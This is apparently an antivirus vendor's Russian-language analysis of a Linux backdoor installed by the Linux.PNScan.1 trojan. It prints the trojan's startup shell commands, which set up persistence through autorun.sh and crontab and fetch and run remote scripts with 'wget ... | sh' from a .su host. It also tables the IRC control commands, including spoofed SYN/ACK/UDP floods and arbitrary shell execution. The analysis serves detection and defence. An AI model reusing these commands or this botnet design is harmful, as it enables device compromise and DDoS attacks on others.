SHA1:
- e8a8d48e1083e7146d5efcba1d6490f05cd8c897 (unpacked)
- 577551c6a550c3fd30169fb4c2a62fa8b6e73686 (packed)
Бэкдоры для операционных систем семейства Linux, устанавливаемые троянцем Linux.PNScan.1. При запуске троянец подготавливает для себя автозагрузку:
system("echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &");
system("rm -rf /var/run/wgs* > /dev/null 2>&1 &");
system("rm -rf /var/run/bbs* > /dev/null 2>&1 &");
system("rm -rf /var/run/tty* > /dev/null 2>&1 &");
system("ulimit -s unlimited > /dev/null 2>&1 &");
system("mount -t ext2 /dev/mtdblock4 /tmp/config > /dev/null 2>&1");
system("mount -t ext2 /dev/mtdblock5 /tmp/config > /dev/null 2>&1");
system("mount -t ext2 /dev/sdx6 /tmp/config > /dev/null 2>&1");
system("mount -t ext2 /dev/sdc6 /tmp/config > /dev/null 2>&1");
system("rm -rf /var/run/getty1 > /dev/null 2>&1 &");
system("rm -rf /var/run/getty2 > /dev/null 2>&1 &");
system("rm -rf /var/run/getty3 > /dev/null 2>&1 &");
system("cat /tmp/config/autorun.sh | grep -v \"nameserver 8.8.8.8\" | grep -v \"sleep 43200\" | grep -v \"erpcit\" | grep -v \"o.kei\" > /var/run/.backup");
system("echo \"echo \"nameserver 8.8.8.8\" > /etc/resolv.conf\" >> /var/run/.backup");
system("echo \"sleep 120 && wget -qO - http://*.***.su/qn | sh > /dev/null 2>&1 &\" >> /var/run/.backup");
system("cat /var/run/.backup > /tmp/config/autorun.sh");
system("chmod +x /tmp/config/autorun.sh");
system("umount /tmp/config");
system("rm -rf /var/run/.backup");
system("cat /etc/config/crontab | grep -v \"gettychk\" > /tmp/.fuckw");
system("echo \"* * * * * /var/run/gettychk > /dev/null 2>&1\" >> /var/run/.fuckw");
system("cat /tmp/.fuckw > /etc/config/crontab");
system("crontab -l | grep -v \"gettychk\" > /var/run/.fuckx");
system("echo \"* * * * * /var/run/gettychk > /dev/null 2>&1\" >> /var/run/.fuckx");
system("echo \"#!/bin/sh\" > /var/run/gettychk");
system("echo \"pidof getty0 || ( rm -rf /var/run/getty.pid && /var/run/getty0 ) \" >> /var/run/gettychk");
system("chmod 700 /var/run/gettychk");
system("crontab /var/run/.fuckx");
system("crontab /etc/config/crontab");
system("rm -rf /var/run/.fuckw");
system("rm -rf /var/run/.fuckx");
system("/etc/init.d/crond.sh restart > /dev/null 2>&1 &");
system("wget -qO - http://*.***.su/botkill | sh > /dev/null 2>&1 &");
Для соединения с управляющим IRC-сервером формирует строку имени и псевдонима следующим образом:
x32|Linux|root|%c%c%c%c%c%c%c%c%c
где %c – случайный символ из набора цифр ("0123456789"). Если у бэкдора нет привилегий суперпользователя, вместо root используется значение "unk".
При подключении к IRC-серверу вредоносная программа ожидает поступления входящих команд. Бэкдор способен выполнять следующий базовый набор команд:
| Команда | Действие | Комментарий |
|---|---|---|
| 352 | Установить поддельный IP | |
| 433 | Сгенерировать новый ник | |
| ERROR | Сгенерировать новый ник | |
| NICK | Поменять ник на строку из команды | |
| PING | Отправить PONG | |
| 376 | Зайти на канал | Send(fd, "NICK %s\n", nick); Send(fd, "MODE %s -xi\n", nick); Send(fd, "JOIN %s :%s\n", chan, pass); |
| 422 | Зайти на канал | Send(fd, "NICK %s\n", nick); Send(fd, "MODE %s -xi\n", nick); Send(fd, "JOIN %s :%s\n", chan, pass); |
| PRIVMSG | Выполнить специальную команду |
Помимо этого, троянец способен выполнять следующий набор расширенных команд:
| Команда | Действие | Синтаксис |
|---|---|---|
| RANDOMFLOOD | Случайным образом переключиться между режимами ACK и SYN Flood | RANDOMFLOOD <target> <port> <secs> |
| ACKFLOOD | ACK Flood (spoofed) | ACKFLOOD <target> <port> <secs> |
| SYNFLOOD | SYN Flood (spoofed) | SYNFLOOD <target> <port> <secs> |
| TSUNAMI | Начать DDoS-атаку | TSUNAMI <target> <secs> |
| PAN | «Улучшенный» SYN Flood | PAN <target> <port> <secs> |
| SUDP | UDP Flood (spoofed) | SUDP <target> <port> <secs> |
| UDP | UDP Flood | UDP <target> <port> <secs> |
| NSACKFLOOD | ACK Flood | NSACKFLOOD <target> <port> <secs> |
| NSSYNFLOOD | SYN Flood | NSSYNFLOOD <target> <port> <secs> |
| STD | Начать DDoS-атаку | STD <target> <port> <secs> |
| UNKNOWN | Начать DDoS-атаку | UNKNOWN <target> <secs> (recommended for non-root users) |
| KILLALL | Прекратить DDoS-атаку | |
| DNS | Определить домен и сообщить серверу его IP | |
| CUSTOM | Выполнить произвольный скрипт (по предустановленной ссылке) wget -qO - http://o.kei.su/custom | sh > /dev/null 2>&1 | |
| PATCH | Применить патч от уязвимости shellshock wget -qO - http://o.kei.su/patch | sh > /dev/null 2>&1 | |
| BOTKILL | Удалить другие троянские программы wget -qO - http://o.kei.su/botkill | sh > /dev/null 2>&1 | |
| GETSPOOFS | Получить параметры спуфинга | |
| SPOOFS | Установить IP или диапазон IP для спуфинга | SPOOFS <iprange/ip> |
| VERSION | Возвратить версию бэкдора | |
| SERVER | Сменить сервер на указанный в команде | |
| GET | Выполнить загрузку указанного файла | GET <url> <save as> |
| IRC | Послать указанные команды IRC на сервер | IRC <arg1> <arg2> <arg...> |
| HELP | Показать список доступных команд | |
| SH | Выполнить набор sh-команд | SH <arg1> <arg2> <arg...> |